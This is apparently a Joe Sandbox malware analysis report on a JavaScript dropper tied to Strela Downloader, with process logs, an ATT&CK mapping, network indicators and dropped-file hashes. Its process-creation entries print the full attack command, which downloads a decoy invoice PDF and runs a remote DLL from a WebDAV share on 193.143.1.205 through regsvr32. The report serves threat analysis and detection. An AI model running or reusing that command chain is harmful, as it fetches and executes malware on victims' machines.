Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\69632789529560.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1272729276326267500.js	5%	Virustotal		Browse
1272729276326267500.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/o	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/#	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/w	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tem.	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000010.00000003.1329278680.000002AC90800000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.16.dr, edb.log.16.dr	false		high
http://crl.ver)	svchost.exe, 00000010.00000002.2551048974.000002AC8B0C0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.15.dr	false		high
https://www.adobe.co	ReaderMessages.12.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.16.dr	false		high
http://193.143.1.205:8888/tem.	net.exe, 0000000E.00000002.1327414778.00000171FA44E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/w	net.exe, 0000000E.00000002.1327414778.00000171FA479000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000E.00000002.1327414778.00000171FA44E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000E.00000002.1327414778.00000171FA49E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000E.00000002.1327414778.00000171FA479000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/#	net.exe, 0000000E.00000002.1327414778.00000171FA479000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/o	net.exe, 0000000E.00000002.1327414778.00000171FA479000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587995
Start date and time:	2025-01-10 20:17:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1272729276326267500.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 172.64.41.3, 162.159.61.3, 2.23.242.162, 23.209.209.135, 199.232.210.172, 2.16.168.107, 2.16.168.105, 2.16.168.125, 2.19.126.143, 2.19.126.149, 13.107.246.45, 50.16.47.176, 20.12.23.50, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:18:22	API Interceptor	22x Sleep call for process: powershell.exe modified
14:18:26	API Interceptor	1x Sleep call for process: net.exe modified
14:18:26	API Interceptor	2x Sleep call for process: svchost.exe modified
14:18:34	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3090182781939528365.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2986414422293398212.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	invoice_AG60538.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	Message 2.eml	Get hash	malicious	Unknown	Browse	199.232.214.172
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	27344289642108220053.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	WSJ25F.bat	Get hash	malicious	Unknown	Browse	199.232.210.172
	1808220077299634192.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1932574451821324222.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	867419171264419639.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1794629123897518052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	4779230781910419613.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3881066198165199.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	551753881921117607.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1446217142313155154.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067237529070135
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vql:2JIB/wUKUKQncEmYRTwh0x
MD5:	91C84762EE2B3363335086A2E36B4B20
SHA1:	3584939997F39099661576F837CFD801D924F592
SHA-256:	371C92838A53188F7C60768826E4FD7312C91617D427EB5756CD5A74959B092C
SHA-512:	4CB8E0A93FE8D7EE4A1D95B631C4589D811F35A91BC0087FE8E8B66AEEABA930DB1C0DB577D4A55A029A2F97ABC082B6F0608B51D6CC9E6C3BCCB4F19075CB81
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x357724a3, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899386703939992
Encrypted:	false
SSDEEP:	1536:bSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:bazaPvgurTd42UgSii
MD5:	0D509DB331A428B044CC9BE806625FE6
SHA1:	F78369AF053DF2DCFD013F72D7F94C7BEBC19667
SHA-256:	2B7E9835385FB2248ABE7A9ED7551B719E14B5E53B840AA6A8D5C4BC0D9A400B
SHA-512:	B40D0DBA1D71F3E0FE39644DFFFD1FA1CB1DD4E0EFACADC0412B2E43B3B959730D760DFF0FADFDAB600EC509C36A9EC615CE02355FC3097C4E2E419D183CA8A0
Malicious:	false
Preview:	5w$.... ...............X\...;...{......................0.`.....42...{5......}c.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{....................................E......}c..................r?......}c..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07959690942864
Encrypted:	false
SSDEEP:	3:IxS6YeJGvUyqNt/57Dek3J3tIgqllEqW3l/TjzzQ/t:MdzJ4UDPR3t3tIgemd8/
MD5:	DB24994FFD480E34E06C294BB92BE650
SHA1:	2BAA10E72FC0A930CFB9FFCBB32A1064BE8D31BB
SHA-256:	AC8B278B6D3501D9E2205EFE3B79A1E2F9465BF4BB291BAD081FB31BD8EA3A81
SHA-512:	8271F0948D452534591C71BB6B42E9D804DE6BB80969C1A70175FE43481D68426E3118FB383A611CFB89D1E80D4A315C114D5FE9F774A876E4DFD6BFD4C19216
Malicious:	false
Preview:	.T.......................................;...{.......}c.42...{5.........42...{5.42...{5...Y.42...{59.................r?......}c.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.257402264569333
Encrypted:	false
SSDEEP:	6:iO4mFI+q2PcNwi2nKuAl9OmbnIFUtSm95Zmwsm9tVkwOcNwi2nKuAl9OmbjLJ:77LvLZHAahFUtZf/HN54ZHAaSJ
MD5:	00EA51A7AE95E70EFB0F90F38DD9E9FD
SHA1:	9CC3A482EEFACD6FA37A8EF3EA65631BA34AFE50
SHA-256:	D4E8754B2AE9427FBE478245B502BB4286A742A15016A412069A60DDA6CB993D
SHA-512:	4DAF53A32A3C6C7A40DA227941A079991A9D0B3AA1A0EA28E9FEF5F5AC7A85B594168FE0F7958095E206EC4308229E08E461036880FCA4B10DC367428AA9F66A
Malicious:	false
Preview:	2025/01/10-14:18:26.729 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:18:26.731 1c78 Recovering log #3.2025/01/10-14:18:26.731 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.257402264569333
Encrypted:	false
SSDEEP:	6:iO4mFI+q2PcNwi2nKuAl9OmbnIFUtSm95Zmwsm9tVkwOcNwi2nKuAl9OmbjLJ:77LvLZHAahFUtZf/HN54ZHAaSJ
MD5:	00EA51A7AE95E70EFB0F90F38DD9E9FD
SHA1:	9CC3A482EEFACD6FA37A8EF3EA65631BA34AFE50
SHA-256:	D4E8754B2AE9427FBE478245B502BB4286A742A15016A412069A60DDA6CB993D
SHA-512:	4DAF53A32A3C6C7A40DA227941A079991A9D0B3AA1A0EA28E9FEF5F5AC7A85B594168FE0F7958095E206EC4308229E08E461036880FCA4B10DC367428AA9F66A
Malicious:	false
Preview:	2025/01/10-14:18:26.729 1c78 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:18:26.731 1c78 Recovering log #3.2025/01/10-14:18:26.731 1c78 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.211326415334277
Encrypted:	false
SSDEEP:	6:iO4mG4V+q2PcNwi2nKuAl9Ombzo2jMGIFUtSmG0eZmwsm8FNVkwOcNwi2nKuAl97:771V+vLZHAa8uFUtZxe/HUNV54ZHAa8z
MD5:	0CAF8221E000249C167165D09249CD16
SHA1:	A29CD447C7C68CB0281821DD5A55B0EEC661FB62
SHA-256:	1AECB9E321555393D11B72CC0ACC0249E710629BE52C17C6A42C8D73D3B8521D
SHA-512:	4D27C2B58CCD33B95E5B13E051DB66F6FCF4FDAF8AEAC447817A1A6553CC7AC921E034A6F5061340A69A2616F7548909448256A4A82C376618839329C8FF4298
Malicious:	false
Preview:	2025/01/10-14:18:26.818 1d7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:18:26.819 1d7c Recovering log #3.2025/01/10-14:18:26.820 1d7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	344
Entropy (8bit):	5.211326415334277
Encrypted:	false
SSDEEP:	6:iO4mG4V+q2PcNwi2nKuAl9Ombzo2jMGIFUtSmG0eZmwsm8FNVkwOcNwi2nKuAl97:771V+vLZHAa8uFUtZxe/HUNV54ZHAa8z
MD5:	0CAF8221E000249C167165D09249CD16
SHA1:	A29CD447C7C68CB0281821DD5A55B0EEC661FB62
SHA-256:	1AECB9E321555393D11B72CC0ACC0249E710629BE52C17C6A42C8D73D3B8521D
SHA-512:	4D27C2B58CCD33B95E5B13E051DB66F6FCF4FDAF8AEAC447817A1A6553CC7AC921E034A6F5061340A69A2616F7548909448256A4A82C376618839329C8FF4298
Malicious:	false
Preview:	2025/01/10-14:18:26.818 1d7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:18:26.819 1d7c Recovering log #3.2025/01/10-14:18:26.820 1d7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\31926084-fe11-4903-a588-7c2bd6e1a844.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.967961042110297
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqWWsBdOg2H/Acaq3QYiubSpDyP7E4T3y:Y2sRdsDdMH/r3QYhbSpDa7nby
MD5:	C167A5EFDC606DCB4449150E13D8D072
SHA1:	B45E917DBC2EA5F6A0814C0672CDF266ACF452F9
SHA-256:	1A637E79F4107B6C8FCC2B1B517754B9BDC0D551C1475CC46AC6EF1CC9C52F9E
SHA-512:	E931E5E34296101E6E794291844F0F83BBA9439FADDC9763D3075E67633DEF9474093476C59A32BFB6ECA39E3819387FE63D5910E57C9A7AC5E9C57D00186D93
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381096718130349","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":192871},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF46b5ce.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f0b97623-b156-4dc7-a74a-1aa6a65b681c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.969814904260269
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4T3y:Y2sRdsRdMHSOL3QYhbSpDa7nby
MD5:	7BE9C8316EB1B7252CB363207744A145
SHA1:	57861355BE6541501AED40F896891579DCF473BF
SHA-256:	B8F7FC35C094B26B18BB46BB695F1D520904FF063398D86C5B06FD3E20F1881D
SHA-512:	2C7A056CDC3EF05D5E62822CC0BD835FA80CD06131CB76BF559B1D06F735A279C7DCEDE51F1E3A418596573CC960BAFAA038A45966E8007F671F7B6BFFD885DB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.239689951686092
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtP/ualWZ3:CwNw1GHqPySfkcigoO3h28ytP/uuWZ3
MD5:	358674C987A46822C64EBF20AA313B6F
SHA1:	931DAD448EE0CA042A12018124A87D6D0EAE917F
SHA-256:	DABEED0F8A8120DC0DFE25F0DE3F8F3EA1E8C069B8AB29672B2A10E04A747923
SHA-512:	B57ACC8B7EDDD4C2CE84D22F3A130C82151028538BE9FCC6D9522826847052F1A2DFCD40869546CFBC95063F70C1D9686AFA264B08E401DC916E93A0E0EAF58A
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.1907607885834
Encrypted:	false
SSDEEP:	6:iO4mpOV+q2PcNwi2nKuAl9OmbzNMxIFUtSmFMZZmwsmvFqNVkwOcNwi2nKuAl9Ob:77kV+vLZHAa8jFUtZSZ/HvMNV54ZHAab
MD5:	8050C97CAEF0CDE3C4586E82CCE2F884
SHA1:	6283E43689548089DB9B3105B163CEDBC79E3F7E
SHA-256:	29A4063CC3DDA7B8FAD478AA0032FEB6C9F86E54EE8A2ED6EC1FF0DF53786DB5
